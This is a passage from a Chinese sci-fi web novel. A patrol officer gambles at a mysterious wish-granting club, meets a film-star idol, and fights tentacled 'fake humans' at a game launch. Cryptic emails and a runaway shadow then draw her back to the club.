两个女生貌似早就看他不顺眼了，动作蠢蠢欲动；另几个大胡子男人显然也有些按捺不住。
“真没人要吗？”叶枝再问。
这下，那些人终于站了出来。
选谁呢？
女生们还是太文明，猛料不够，叶枝嘴角勾起一丝笑，有了倾向。
“你去用他吧。”叶枝挑了正中央看上去最猛的一个壮汉。
直觉告诉他，这位仁兄看阿飞时的神色有些馋，就和阿飞看自己一样。
那大胡子壮汉摩拳擦掌，背心两侧露出的手臂，肌肉鼓鼓囊囊。
阿飞见状直吓得双腿不住颤抖，再支撑不住，扑通坐到地上，好不狼狈。
天道好轮回，苍天饶过谁。
叶枝蹲下身。
“别那个表情，你不是觉得男人挺好？你在男人堆里也是抢手货。”
阿飞魂飞魄散，摇头摇成筛子。
“大哥，你快好好疼爱他，拜托了。”叶枝利落地起身，冲那位肌肉猛男作了一揖。
肌肉猛男比个ok的手势，三步两步走上前，提溜起阿飞的衣领，拎起就跑。
无相者112号已完成任务，振翅飞入上空，消失得无影无踪。
在哄堂大笑和欢呼中，叶枝离开了牌桌。
她毫无心理负担，反正只是个游戏而已，脱离玩家视线后，没准NPC都不存在了。
这不过是一场游戏中的小插曲，明天还要上班。
离开的门在哪儿？
纸醉金迷的喧嚣中，叶枝经过一个个对决场地，仿佛置身于无垠的梦境，怎么也找不到出口。
“对决开始。”熟悉的机械音从某个方向传来。
如果这是个游戏的话，那NPC系统也做得太好了。就连NPC都在各自进行对决，还让玩家观战沉浸感拉满。
出于好奇，叶枝循声而去，竟看到了先前那个酷酷的短发女孩，就在不远处站着。
女孩与一个穿道袍的和尚相对而立，两人的双手都罩着什么东西，似乎在进行某种比试。
“花悬。”秃头和尚呼吸不断加重。
“没错，是我。”花悬有些不耐烦，“比大还是比小？”
叶枝看向金色无相者的眼珠，上面刻着“2000”“1000”，算是相当大的押注了。
“我单方面决定？”和尚锃亮的光头全是汗。
花悬没有回答，只是重复：“比大还是比小？”
她的嗓音不算低沉，却有种压制的力量感。
和尚深吸一口气，咬紧牙关：“大。”
花悬缓缓移开遮住的手掌，掌下之物随之浮现，是一枚骰子。
叶枝从来没见过这种骰子，形状很不规则，好像有不止六个面。
“看来今天命运之神更眷顾我。”花悬冷笑一声。
“7对4，花悬胜。”另一只金色无相者扑腾扑腾翅膀，三人头顶上的数字，也立刻显现出变化。
“你、你肯定是作弊了！”
“用七面骰作弊？可能吗？”
无相者的合成金属眼珠闪烁着警告的红色光芒。
“任何人都不允许质疑‘七面骰’的绝对中立。”
七面骰？
叶枝头一次听到这个词，很是新奇，看来这骰子顾名思义有七个面。
和尚的脸红一阵白一阵，紧握的拳头不住颤抖。
“疯子！在根本无法估计输赢的对局下，押注那么大？”
“所以才好玩，不是吗？”花悬不以为然。
“疯子……疯子！”
叶枝看着花悬的侧脸轮廓，心中不禁涌起一股违和感。这个女孩年纪不大，却似乎并不简单。
“押注全部转移至获胜方。”无相者112号无情得倒一如既往。
花悬头顶上的数字，由“3700”变成了“5700”。
和尚头上，则保持“600”不变。
“根据私人赛前协定，胜点七三开，花悬获得2000点，祝扶桑获得1000点。”
与此同时，有一个高挑漂亮的女人正站在花悬身后，头上的数字由“5840”变成“6840”。
这是什么模式？还能分成？叶枝肃然起敬，这游戏有趣得超乎意料。
……
等等，那个女人叫什么？
叶枝反应过来后，身子猛然一震，惊得下巴差点合不上。那不是她最喜欢的明星吗！
祝扶桑，当代龙港影坛的最大传奇。刚出道五年即斩获影视三金大满贯，主演的电影《闻香识伪人》与《这个码农不太冷》更是红遍整个新塔隆大陆。
再定睛一看，那身着长裙的女人，分明当今家喻户晓的女神影星。
祝扶桑长发微卷，如同夜色中最柔软的绸缎轻垂于肩头。
杏面粉腮，双眸明媚而澄澈，身材曲线也美到不可方物，举手投足间的魅力根本不可言喻。
叶枝不是法务部的，没学过法律知识，隐约觉得游戏貌似有点侵犯肖像权。
抛开侵权不说，游戏的建模水平够可以的，祝扶桑比电影里的还要美丽。
祝扶桑抬起手中的七面骰，轻吻一下，满是轻佻与戏谑。
“好歹你也是公众人物，这么歹毒！”和尚狠啐一口，徒留头顶上可怜的三位数在风中凌乱。
祝扶桑看他的目光轻佻而戏谑：“不歹毒的话，可当不上公众人物。”
和尚顶不过嘴，灰溜溜离开了。
即便是游戏，叶枝也想和偶像贴近些。无数个加班的深夜里，她边跑数据边投影祝扶桑的电视剧，简直算精神力量源泉。
眼看两人就要离开，叶枝主动凑上前去。
“祝扶桑！”
祝扶桑好像也已经注意她许久，并不意外：“啊，赢了朴志飞的那个。”
她应然知道！
被偶像铭记，被偶像见证胜利的全过程，即便是在游戏中，也可喜可贺。
花悬显然也还记得她：“你就是那个新来的？”
“不是，我是试玩的。”叶枝解释。
“试玩！”祝扶桑微微一愣，秋水般的眼眸闪
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过诧异，“他之前坑了不少人，没想到被‘试玩’的制住了。”
花悬看一眼叶枝头顶的数字，不可置信地挑挑眉。
“赢得够多啊。”
祝扶桑也笑眼弯弯：“输光了吧，终于遭报应了，那个猥琐男。”
看来大家都怨念已久，早就看他不顺眼了，让壮汉仁兄疼爱一番不怨。
祝扶桑转转肩膀，纤长的手指按按锁骨末端。
“走吧，困了。我明天下午还要去尖沙湾配合发行游戏去。”
叶枝肃然起敬。
这游戏的NPC这么活灵活现，还能模拟出明天的工作？了不得！
“你赚那么多钱，活该辛苦。”花悬无情点评。
祝扶桑咯咯笑起来，身子倾到她肩头：“我脑子不灵光，没办法，勤能补拙。”
等等，如果没记错……叶枝不禁屏住呼吸。
F区警卫局确实接到过安保任务，明天有个新游戏发布会，据内部传言，邀请的神秘嘉宾恰恰就是祝扶桑。
而那，也仅仅是业内的秘密，公众对此一无所知。
叶枝想到一种可能，脊背发凉。
“你们……是真人？”
“嗯。”祝扶桑不明白她为什么这个表情。
难道说，这里其实真的是地下赌场？这些都是货真价实的赌徒？
叶枝世界观倏然崩塌，这才后知后觉有多危险。
不说其它，光身穿警服光顾这里，就已经够她喝一壶的了。
花悬像是看出了她的心思，擦肩而过时说：“这不是游戏。”
叶枝还想问点问题，她们却头也不回地走向出口，为了不再迷路，只能尽快跟上去。
走出游戏厅后，又回到了进入游戏前的大堂，O先生仍等在小店门口，还是那个破旧的前台。
O先生圆溜溜的眼睛直盯过来：“试玩体验如何？”
“不错。”叶枝实话实说。
“需要兑换积点吗？”
叶枝心想，万一不再来玩了，不兑换就亏了，哪怕赢个毛绒玩具，也比空手而归强。
“能换什么？”
“愿望。”O先生言简意赅。
“什么愿望都可以？”
“我可以判断，愿望的兑现是否超出您所拥有的积点。”
叶枝：“我想带薪休假一周。”
要怪就怪上层用屁股决策，觉得基层警员不需要年假，一年到头都不让休息。
O先生抬手，从空中拿去三个漂浮的数字：“愿望达成。”
扣了999个积点。
叶枝也没真指望，俱乐部能实现愿望，权当心理安慰。
花悬和祝扶桑尚没有离去，见证这一幕，露出微妙的表情。
她们三人同一时间离开了“罪域天阶”俱乐部。
说来也怪，叶枝踏出门后，身边瞬间空无一人，再找不到她们的踪迹。
夜已经消退，远方的地平线上方泼满微光。
这个时代的黎明是蓝色的。
属于科技、冰冷与残忍的蓝色，织成一张深海巨网，网走夜色中短暂的人间烟火。
*
回到警卫司，叶枝口袋里的数据盘存储着成品ppt，已无所畏惧。
警卫司门口围起一圈警戒线，脚步声和人声混乱交织，打破了原有的秩序。
出什么事了？直觉告诉她，肯定出大事了。
只见副局长站在门口，刚打完一通电话，眉头紧皱，神色焦急。
叶枝忙上前去问：“佟局，出什么事了？”
“牛局早上突然遇害，没抢救过来，上级部门正在排查现场。”
“什么？”
“你先回去吧，鉴于警卫局已全面封锁，安全起见，至少今明两日得放假，是否延长视情况而定。”
不真实感如潮水般袭来。
“会休假多久？”叶枝嘴唇颤抖。
仿佛沉寂了一个世纪之久。
“考虑到大家近期的辛勤工作，局里决定给你们凑个假，大概放一周吧。”
5. 游戏发布会
叶枝回到出租屋，百无聊赖。
明明昨晚一夜没睡，她也不觉得困，反而很精神。
十几平米的小房间内，叶枝按开全息投影。
随便拨几个频道，都是AI播音员的新闻诵读，虽然面带微笑，却面无表情。
“要想全面建成没有伪人的理想科技化社会，我们必须始终握牢方向盘，乘‘为民务实’之风，除‘为官不为’之私……”
叶枝又泡一壶茶，光热气已挤得她喘不过气。
这么长时间来，她第一次觉得有些空虚，心头冒出片空白，放什么都堵不住。
叶枝想到了祝扶桑的路演活动。
她虽然是D区职能警，现在是非工作时间，当个普通群众去F区散心也没毛病。
说走就走。
叶枝换下磨得发旧的警服，套上T恤和牛仔裤，披上风衣，走出狭小憋仄的出租屋。
她只随身带了把激光刃柄以防万一，毕竟非执行公务期间，不得携带配枪。
这个社会，还是有点不太平的。
穿过夜市一条街，隔夜的垃圾飘满街道，有人用炭灰在地上涂满脏话。
坐上悬浮列车，景色飞速变换，叶枝的视线才脱离隶属贫民的下层区。
高楼大厦此起彼伏，低矮的筒子楼散落其间，若不是屋檐镶嵌的霓虹灯串，还会以为是从古代穿越而来的遗珠。
每隔一片楼，会立两段抄手游廊，偶尔还能见到两株老树，与周围钢铁玻璃的冷硬质感形成强烈反差。
叮咚——
到站铃响起，叶枝走下悬浮列车，随人群涌向临港广场中央的大舞台。
F区是中层区，甚至毗邻上层区，街景更为繁华。
要说为什么D排在F前面，F区却比D区高档？
叶枝猜测，这是种混淆视听的策略。如此一来，下层区的人民会更难相信或更容易忘记D区是下层区。
或许是游戏发布会的缘故，街上智械巡捕比以往多了一倍，瞪着螺丝钉状的大眼，左顾右盼。
当然，也有不少人类警察在巡逻。
因为智械巡捕再厉害，也免不了它的局限性。
比如，如果某人散发着不同寻常的味道，不一定是伪人，也可能是有狐臭。
再比如，如果某人眨眼过于频繁诡异，不一定是伪人，也可能是干眼症。
所以在科技极度发达的今日，仍需要职能警察的积极侦查，辅助综合判断。
这些干活的，包括叶枝自己，说好听点叫地方职能警，说白了就是片警。
到处都在把不好听的，说成好听的。
叶枝来这里两年，摸透了这世界的语言法则。
同样的，D区街道随处可见的失业瘾君子，官方称其为具备可塑性的潜在人才。
这种语言习惯有什么用？
大部分新闻宣传岗位已经被人工智能取代，它们那些不懂拐弯抹角的。
只要告诉它，社会上全是可塑性潜在人才，而不是失业瘾君子，就会自然生成报道说形式一片向好。
距离游戏发布会还有半个小时。
正港大道正中央已经清空，正中架起一个巨大的舞台，电子屏正播放着很燃的角色预告pv。
叶枝去临街的小吃铺买个菠萝油，热气腾腾，边暖手边大口吃。
几台巨型神经元VR仪经由安保队，运送到台侧，许多人都伸脖子围过去，又被保安推了回来。
看来，这次“战龙时代”发布会营造了不少噱头，许多下层区人民都不惜工作日翘班来，而他们向来是没见过神经元VR仪这类新奇玩意的。
“哇……”人群突然迸发出惊呼。
叶枝身高超过一米七，略占优势，努力踮起脚，目光就能越过前面黑压压的头顶。
祝扶桑身穿一袭蓝色露肩长裙，踏着优雅的猫步走上舞台，在两侧恰到好处的打光，更美得令人炫目了。
叶枝剩的菠萝油也不顾的吃了，整个人的注意力全在大明星的美貌上。
“祝扶桑——”
“啊啊啊啊啊！”
“老婆——”
“嫁给我！！”
……
都什么年代了，还在云养老婆，叶枝对宅男们的喜好嗤之以鼻。
今天化妆师上大分，化了最适合祝扶桑的猫眼装，一双眼睛妩媚勾人，还带点野性。
叶枝更觉得昨夜的经历是一场梦了。她这么个平凡的片警，怎么可能认识家喻户晓的国际巨星呢？
直到祝扶桑投来目光。
两人隔着茫茫人海，意外对视上了。
祝扶桑保持着温和微笑的脸，闪过一丝僵硬；叶枝一愣，也看出了那目光的含义。
那一刻，叶枝才有了真切的实感，昨晚不是梦。
O先生不是梦，21点对局不是梦，遇见祝扶桑也不是梦。
祝扶桑表情管理惊人，惊讶也仅闪过一瞬，就立刻消失不见。
叶枝便又记起心头的空虚，她移开视线，尝试看看别处的风景。
……
好吧，别处的风景就是人。
人人人人人。
这时，某些后脑勺上绑的脏辫，吸引了叶枝的注意力。
这些脏辫平平无奇，但从警察的直觉来看，却莫名诡异。
有时候，经验会反过来。
绑脏辫的不一定是黑人rapper，还真有可能是伪人。
究竟是哪里怪怪的？
绑脏辫的人还不少。
每十几个人围成的圈内，就会有一个人绑脏辫，发丝分得很细很密，一半还染成蓝色，似毛细血管密布其间。
这些脏辫没绑发绳！
一个都没有！
原来诡异之处在这里：没有发绳，头发是无法绑麻花辫的。
下一秒，那些辫子像触手般伸出，向发布会上空冲蔓延而去。
果然是伪人！
叶枝掏出激光刃柄，同时按下弹钮，一道锋利的切割激光划破空气。
咔咔咔。
她奋力割断最靠近她的脏辫型触手，大量蓝色液体从断面喷涌而出。
蓝色液体弥漫着血腥味，喷涌到旁边几个人的肩头。
“伪人！”中年大叔一吆喝，周围其他人开始跟着尖叫。
无数触手从伪人们的头顶冲出，冲向发布会的举行舞台。
台上，老鹰科技总裁尚在大口吹牛，直到旁边一个员工大喊：“魏总，伪人来了，快跑啊！”
魏总裁回过神来后，双手合十
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抱头蹲下，腿抖得根本站不起来。
“警戒模式开启！”F区职能警组长冒头大喊，手中紧握配枪，到处射击。
叶枝尚处于休假期间，但她激光刃已经握上，就再没退缩的理由。
场面陷入可怕的混乱。
几根通信铁塔经触手和打偏的子弹冲击，豆腐渣工程不堪一击，轰然倒塌。
逃生道路封得格外狭窄，触手们似乎在为什么开路，疯狂地攻击着每个碍事的无辜路人。
叶枝将激光刃调到最长，护到逃生民众身前。
霎时间，十余根裹着粘液的触手向她袭来。
伪人已经完全撕去伪装，脑袋气球般膨胀，密密麻麻的复眼浮上皮肤上，像极了某种软体动物。
激光刃在手中乱舞，忽而成剑，忽而为矛，斩下根根游丝般的触手。
叶枝体力越耗越少，衣服被蓝色血液浸透，仅凭一把激光刃撑不了多久。
很快她便判断出，伪人的目标是祝扶桑。
它们的触手密密麻麻，四散开来，大体却都在向影坛女神的方向涌去。
祝扶桑身边的安保人员死的死，伤的伤，大难临头各自飞，其他人见状也不敢再去阻拦。
不行，要去救她。
叶枝绕开疯狂的触手伪人，俯身向十米外冲刺而去。
“是你！”祝扶桑看到来者是谁后，露出惊喜的表情。
叶枝顾不上回应，一把拽起祝扶桑胳膊，领她向逃生通道奔去。
祝扶桑毕竟是需要上镜的女演员，平时节食惯了，没什么肌肉也没什么力气，根本跑不快。
速度一慢，就格外危险。
一根触手闪到背后，叶枝来不及改变刀刃方向，只得左肘用力撞去，触手噗一声缩回，她的手肘也传来钻心的疼痛。
叶枝放慢脚步，肾上腺素暂时压住疼痛，她冲祝扶桑张开双臂：“我抱你，向我靠。”
祝扶桑一愣，便倒入女警两条有力的胳膊间，听话地靠向女警的胸膛以减轻负担。
这下，就又显出了女演员的优势——瘦且轻。
叶枝步履生风，用S型路线避让危险位置，一个人跑果然比两个人跑更轻松。
终于，几架中央军用无人机姗姗来迟，用武力清扫正港大道。
现场死伤无数，血腥味刺鼻。
轰！嘭！
导弹与激光交替进行精准打击，伪人陆续倒下，触手也瘫软在黏糊糊的地面。
伪人清除完毕，无人机完成任务，相继撤离。
而后，一架直升机飞到正上空，螺旋桨掀起气流，气流掀起建筑残片和落叶。
直升机停到中央的空地，缓缓伸出桥板。
里面走出一队身裹防护服的科研人员，散到现场采集样本，各处研究。
又过几分钟，一个全身罩白袍的人踱步走出。
他还戴着羊脸面具，样式像极了京剧脸谱，倍显诡异。
“参见鬼金君大人。”离他最近的科研人员立刻停下手中的工作，弯腰下跪。
面具人一开口，即过滤成中性的机械音。
“今天是什么？”
“是章鱼博士-Ⅳ型伪人，如何处理？请您指示。”
“集齐样本后，全部无害化。”
6. 可疑邮件
百米之外，叶枝坐靠在墙根，不住喘气。
透支肾上腺素具有滞后性。
叶枝肺部不停传来灼烧感，四肢瘫软麻木，甚至都感觉不到伤口的疼痛。
“谢谢。”这次轮到祝扶桑扶她的身子了。
叶枝本想说句“不用谢”，舌头却又疼又麻，嘴里根本蹦不出一个字。
祝扶桑柔声道：“没事，我知道的。”
黑色直升机仍停在临港大道中央，发动机低声轰鸣，与白罩袍形成强烈分割，颜色震耳欲聋。
那边是墨子工会的人？
叶枝一边疼着，一边暗呼新奇，她第一次亲眼见到墨子工会的高层。
在此之前，她只对这个神出鬼没的民间科学党派略有耳闻。
虽然工会势力渗透社会各个领域，却总保持着低调作风，像只无形的大手。
据说高层行事风格怪异，二级以上的领导者出现在公开场合时，永远罩大袍子戴面具，身份神秘。
祝扶桑也紧盯那边的动向，嘴里喃喃自语：“是羊……鬼金君。”
“嗯？”叶枝没明白。
“他们用二十八星宿当代号，面具也上是星宿对应的动物。”
“嗯。”叶枝有气无力。
听上去很复古，对墨子工会的刻板印象又增加了。
比血腥味更刺鼻的，是碳基溶解喷雾混合消毒凝胶的味道。
科研人员戴上防毒面罩，从工具箱翻出一瓶浓缩的违禁药剂，溶解到后背的喷箱舱中。
无害化处理的场面极为震撼。
生物喷剂被荧光蓝标记，散在空中闪闪发亮，堪比漫天的数据光斑。
嗞——
如录像开启快进模式一般，章鱼伪人的血肉与骨头先是化作糊状物，再化作一滩液体，最后消失得无影无踪。
唯有它们的蓝色血液渗入地面，深深染上后，一时半会消除不掉。
如果要避免恐慌，未来一周内，必须封锁正港大道。
叶枝胳膊的麻痹感加重了。
祝扶桑摸向手腕，有些苦恼：“我没带信环。”
叶枝斜眼看自己的手腕，发现自己的信环早已撞毁，现在只剩个光秃秃的环了。
这时，一个身穿医务大褂、戴口罩的男人走来，在她们身前停下，高瘦的身躯投下一片阴影。
祝扶桑抬眼，惊讶道：“你怎么在这儿？”
“这些日子劳动力不足，我来充数当驻场医务了。”
年轻男人蹲下，口罩上方的目光与两人平齐。
“哪儿受伤了？”
他胸前的工牌上印着：
【神经内科主任/江落枫】
“不是我，是她。”祝扶桑用下巴指向叶枝。
叶枝尝试抬起胳膊，却被麻痹了似的，动弹不得。
祝扶桑台起叶枝的小臂，小心翼翼卷起她的袖子，将伤口展示给江落枫。
伤口处没怎么渗血，裹着薄薄一层粘液，还有浅浅的蓝色。
江落枫盯着伤口，思索片刻：“‘章鱼博士-Ⅳ型’伪人，部分基因应该和蓝环章鱼重合。”
祝扶桑瞪大眼睛：“蓝环章鱼？那岂不是剧毒！”
“到这时候，就感谢‘伪人也算人’吧。”
江落枫俯下腰，从随身携带的药箱中掏出一小瓶丁基锂修复液，拧开瓶盖，滴几滴在叶枝的伤口上。
液体接触皮肤，迅速渗透进去，浅蓝色淡去，黏液也开始风干。
“嘶……”纵使叶枝再强大，钻心的疼痛还是让她倒吸一口凉气。
江落枫拿出几颗活性炭片，敷在伤口最深处，用来吸收毒素。
最后，他缠了两圈纱布。
祝扶桑问：“你是怎么找到我们的？”
她们身处两片废墟之间，四周视野受限，救援队赶来都要好一会儿。
江落枫眼神中透着不可理喻。
“你们这些大人物都绑定神经信标，一发生危险，就自动向附近的信环发送脉冲波，我的信环一直在闪红灯发警报。”
“哦，”祝扶桑垂下眼，“一紧张忘了。”
叶枝胳膊还是抬不起来，倒是能开口说话了。
“好多了，只是有点麻，谢谢。”
“麻是正常的。”江落枫合上药箱，“蓝环章鱼的毒素是河豚毒，会阻断体内的钠离子通道，逐渐麻痹神经。”
祝扶桑还在笑，没有说话，笑容有些苦涩的意味。
江落枫看看两人：“说说吧，你们俩怎么回事？”
祝扶桑垂下眼：“她因为保护我受伤的，我全责。”
“工作而已，分内的事罢了。”叶枝并不怎么在意。
“你应该是在工作之外保护我的吧。我能怎么报答你？”
这是显而易见的，因为叶枝并没有穿警服。
叶枝觉得有点困，少量毒素顺着神经爬进了大脑，眼睛也无比干涩。
江落枫发现了异样：“她现在很乏了，得送回去好好休息。”
“会残疾吗？会有生命危险吗？”祝扶桑满面担忧。
“我及时处理好了，危险肯定没有，至于后遗症，不好说。”
叶枝困得睁不开眼，大脑无法思考。
祝扶桑倒吸一口凉气：“后遗症？什么样的后遗症？”
江落枫的声音倒一如既往的平静。
“这条胳膊可能会废掉。”
“啊？”
“也可能只是提不起重物。”
“啊？”
……
祝扶桑身子一晃，有晕厥的趋势。
江落枫耸耸肩：“又不是什么大事。”
“这可是我的救命恩人！”祝扶桑情绪激动。
“你钱多，你养她算了。”江落枫提议。
祝扶桑咬牙切齿，恨不能去揪他的耳朵：“那人家也要愿意我
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养，谁愿意靠别人苟活着啊。”
我，我愿意被养，不要让我再上班了！叶枝默默在心里摇旗呐喊，可惜困意让她张不开嘴。
江落枫头头是道：“你把H区的付江别墅分给这位尽责的警察，拨出三个智械、一个真人保姆管家，精心照料，时不时陪她说说话，你休息了就带她出去旅游……”
他越说越离谱，口罩盖住嘴型，看不出有没有在笑。两道浓眉之下，一双清冷的眼眸倒透露着严肃。
终于，在祝扶桑脸色越发难看时，他及时打住了。
江落枫话锋一转：“最简单的方法，不就是你去俱乐部换积点？”
“欸？”祝扶桑懵懵的。
“换积点治好她的胳膊。”
“嗯，对。”祝扶桑立刻答应了。
江落枫意外地挑了下眉：“你都不带犹豫的？不问问O先生要扣多少再做决定？”
迷迷糊糊间，叶枝听到了熟悉的名字，与昨夜那家诡异的俱乐部有关。
她奋力竖起耳朵去听。
祝扶桑不假思索：“人家是警察，身体强健是很重要的。”
“你不还想早日攒够五万？”
短暂的寂静。
五万这个数字，仿佛触动了每个人的心事。
祝扶桑垂下眼，手指拨开黏在叶枝额角的发丝。
“我还想做个人。”
“如果不够呢？”
祝扶桑指尖骤然变得坚硬：“那我就再赢个大的。”
那是叶枝坠入梦乡前，听到的最后一句话。
*
一觉睡起来，睁开眼已是黄昏，叶枝精神好了不少。
她喝了半杯水，看到风衣几乎染成蓝色，才想起上午发生的极限争斗。
对了，伤口。
叶枝忙拆开包裹左手肘的绷带，意外地发现，伤口竟奇迹般消失，一点受过伤的痕迹都没有。
她活动一下左胳膊，甩一甩，毫无异常，甚至比前阵子加班加出腱鞘炎时还要灵活。
叶枝不相信奇迹。
再联想到睡前听到的那些话，伤口为何痊愈，答案很清楚了。
积点可以兑换愿望。
俱乐部不是梦。
这两天发生的一切，在脑内如大风卷起千百片树叶，喧嚣而凌乱。
叶枝抬起手腕，看到信环已成战损版，只能去拿茶几上的笔记本电脑。
她作为公职人员，信环还不能私自购买，要向上级申请补办。
不过这算因公损坏，总不能让我赔偿吧，捞个最新款的信环也不错，叶枝心里如是安慰着自己。
她打开电脑，给佟局长发了封邮件汇报情况。
正要合上电脑，叮咚一声，叶枝收到了一封邮件。
发件人名字为“？？”，地址也是一串乱码，是无法解密的域名。
点开后，邮件只有三个字：
【不要加】
7. 二度引诱
没头没脑的邮件。
叶枝盯了半天，也没能想出个大概来。
是恶作剧，还是发错了？
她合上电脑，打算吃晚饭。
是煎手抓饼，还是煮云吞？
她更关心这个问题。
叮叮叮——
门铃响了。
叶枝住在典型的老破小里，就连门铃都是纯机械的。
门外的人拉动绳子，绳子一颤动，就会连带屋内门铃也颤。
甚至比不上她穿越前的时代。
叶枝以前也考虑过装电子门铃，还带24小时监控，不过后来看一眼维护价格，就知难而退了。
反正门前挂着警徽。
不至于有小偷活腻了，去警察家里偷东西。
D区都是如此。
市面上有许多高科技的电子产品，可后期维护费用太高，大家宁愿“复古”地活着。
叶枝走到门前，透过猫眼，意外看到了祝扶桑。
祝扶桑头发盘到脑后，头戴鸭舌帽，又戴墨镜又戴口罩，遮得妈都不认识。
作为骨灰级粉丝，叶枝倒一眼就认出了。
“怎么了？”她把偶像请进门。
“来看看你。”
完全关上门后，祝扶桑才摘下帽子、墨镜和口罩，浅浅舒了一口气。
“左胳膊还有异常吗？”
“没了，”叶枝犹豫一瞬，“谢谢。”
果然，左手肘伤口的痊愈，是祝扶桑用积点兑换的“奖品”。
祝扶桑勾起嘴角：“那就好。以及，该说谢谢的是我。”
很多职能警缺乏实战经验，高危环境下只顾自保，而且职级越高，越贪生怕死。
叶枝看到祝扶桑的左手食指，多出了一道环切的伤口。
祝扶桑察觉到她的目光，下意识攥起拳头。
“哦，下午对决弄伤的。”
“什么样的对决？”叶枝说不上，心疼和好奇哪个更占上风。
“断手指，物理意义上的。”祝扶桑很轻巧，“挨个剪提刀的绳子，谁先拿出手指谁输。”
叶枝光是听到对决的名字，已经不寒而栗。
很难想象，这么漂亮温婉的女明星，连跑步都费劲，会有胆量参加这种对决。
祝扶桑云淡风轻：“不用担心，这点小伤不怎怎么花积点，明天疤痕就没了。”
叶枝垂下头：“是吗。”
祝扶桑仿佛看出了她的心思，笑道：“跟你没关系，我想多攒积点罢了。”
叶枝一直很好奇，如果参与“罪域天阶”游戏的都是真人玩家，那么这些人都是因为什么过来的？
“你加入俱乐部多少年了？”
祝扶桑想了想：“半年吧。”
“你最初是怎么进来的？”叶枝倒想看看，鸟类受害者联盟里有多少人。
“我说，你会信吗？”
叶枝忙道：“我信。”哪有粉丝不信偶像的道理。
更何况，一切皆有可能。
比如建国都一千多年了，猫头鹰还能成精呢。
祝扶桑微微眯起眼睛，仿佛在回忆，仿佛在斟酌。
“好久以前开始，我每晚做梦都会梦到我的影子跑了，我害怕，就去追影子。后来有一天，我突发奇想，跟着梦里追影子的路线走，就到了那扇门前。”
果然是段匪夷所思的经历。
“你呢？”祝扶桑反问。
叶枝实话实说：“我好心喂猫头鹰点薯条，结果它把我信环扯走了，我一路跟着它跑，就撞进了那条街。”
祝扶桑眼内闪过一丝微妙，很不易察觉，却还是被叶枝捕捉到了。
她不相信我说的话吗？
叶枝有些困惑。
祝扶桑突然想到了什么。
“我记得当时你说，你是试玩的？”
“嗯。”
“你没签订契约？”
“那是什么？”
祝扶桑并没有解释，而是说：“其实不加也挺好，抛去无谓的欲望，现实已经够活了。”
叶枝没完全明白这话的意思。
祝扶桑抬手，看一眼信环上显示的时间，立刻起身。
“我的经纪人等太久了，先告辞了。”
叶枝这才发现，祝扶桑提来一箱佛手酥，包装精低调而奢华，一看就是有钱人特供。
送走祝扶桑后，天色已晚。
接下来，叶枝又收到了四封邮件，发件人还是“？？”，还是神秘的未知域名。
每封邮件的内容都只有三个字：
【不要加】
【不要加】
【快快逃】
【救救她】
这是求救信息吗？
叶枝皱起眉头，到这个程度，已经不能单纯视作恶作剧了。
很多受害人受到威胁时，报警时会选择用反常的暗语。
这不算暗语，却足够反常，或许正被凶手盯着，只能悄悄发邮件。
发件人和域名都无法破解。
叶枝深思熟虑后，按照民警执勤的惯例，回复了一封邮件：
【您的外卖忘填地址了，应该送到哪？】
按下发送键后，再没收到过回信。
*
之后几天，日子异常平静。
或许这就是社畜的悲哀，被pua惯了，清闲竟成了一种无聊。
叶枝有时刷全息短视频，有时去影院看烂片，有时去戏院看非遗传人咿咿呀呀。
这个时代，戏曲艺术重回潮流。
废弃建筑拆拆补补，都能勉强凑成戏台，演点梁山伯和崔莺莺。
多看看古代的情情爱爱，对比下来，叶枝竟觉得现在的生活还不错。
终于，佟局长发了通知，周三是休假的最后一天，周四起正常复工。
天下的乌鸦一般黑，天下的领导也一般傻X：
【佟局：牛刚同志不幸吃屎，我司深表沉。我司决定自10月46日9:00起复工。不能复工的，务必宝贝】
【“佟局”撤回了一条消息】
……
【佟局：牛刚同志不幸逝世，我司深表沉痛。
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我司决定自10月46日9:00起复工。不能复工的，务必报备】
【“佟局”撤回了一条消息】
……
【佟局：牛刚同志不幸逝世，我司深表沉痛。我司决定自10月16日9:00起复工。不能复工的，务必报备[抱拳]】
叶枝：……
ai果然代替不了人类，这么短一段话,ai犯不了这么多错。
群内沉默良久。
确保领导没改动后，下属们才放心接龙“[鼓掌][奋斗][玫瑰]”。
望着窗外的夕阳，叶枝内心唤起不可名状的悲伤感。
每当太阳接近地平线，昏暗与安静环包住寂寞，便会勾起这种悲伤。
叶枝走出出租屋，去夜市小摊买鸡蛋仔，买完直接站在路边吃。
甜的鸡蛋仔，最配苦的人生。
吃着吃着，夜幕降临。
斜后方的路灯亮起，叶枝后背蓦地袭来一阵寒意。
她挪开眼前的鸡蛋仔，惨蓝的街灯下，投射出她自己的影子。
叶枝一动不动，观察着影子的轮廓，好像有哪里不对。
是心理暗示？
是祝扶桑的经历引起的幻觉？
还是……
不对。
叶枝分明看到，自己的影子在动！
紧接着，那影子发生了更为骇人的变化。
影子挣脱束缚，离开了她的脚跟，随即向远方滑行起来！
叶枝来不及多想，脑海中下意识只有一个念头——跟着它跑！
这股念头完全侵占了大脑，她整个人被一股无形的力量抓住，沿着影子逃逸的方向疾驰。
影子不断向前，在游廊与建筑缝隙间游刃有余，速度异常惊人。
叶枝被迫跟着它飞奔，无法控制自己的双腿。
为什么？
就是个影子，人没了影子又不会怎么样！更何况，又没有证据表明它不会回来！
不对，有哪里不对。
跑着跑着，叶枝发现，那个影子根本不是自己！
影子的轮廓是寸头，明显是个男人，五短身材，略有些臃肿。
是谁？
竟有种说不上来的熟悉感。
到底是谁？
好像在很久很久以前，见过那个轮廓。
一阵冷风袭来，月光清冷，世界昏黑。
叶枝突然头痛欲裂，脑内幻影般掠过看不清面目的记忆。
她痛苦地闭上了眼睛。
再睁开眼，叶枝又来到了俱乐部所在的那条街道。
还是熟悉的无人街道，布满廉价的炫彩灯光。
还是熟悉的电子乐与烟酒气，时间仿佛定格在了这纸醉金迷的夜。
祝扶桑的梦成为了现实。
她被自己的影子，再次引到了这个地方。
下一秒，影子化作一滩流动的黑，从门下的缝隙，钻进了俱乐部。
O先生站在门前，仿佛已等候多时。
他脱帽行礼——
“欢迎再次光临。”
8.石头剪刀布·壹
叶枝不住喘气，死死盯着O先生琥珀色的眼睛。
“那个影子是谁？”
“是与你有关的人。”O先生一字一顿。
这答案约等于没有。
叶枝仍很头晕，眼前的猫头鹰一直在飘：“具体是谁？”
“抱歉，我无法解答这个问题。”
冷风还在吹。
吹来卷烟味和薄荷酒味。
O先生侧身，泛黄枯瘦的手放到门把手上，一动不动。
叶枝头晕渐渐缓解，意识再度清醒，竟想不起那影子的轮廓了。
O先生将门打开一个缝。
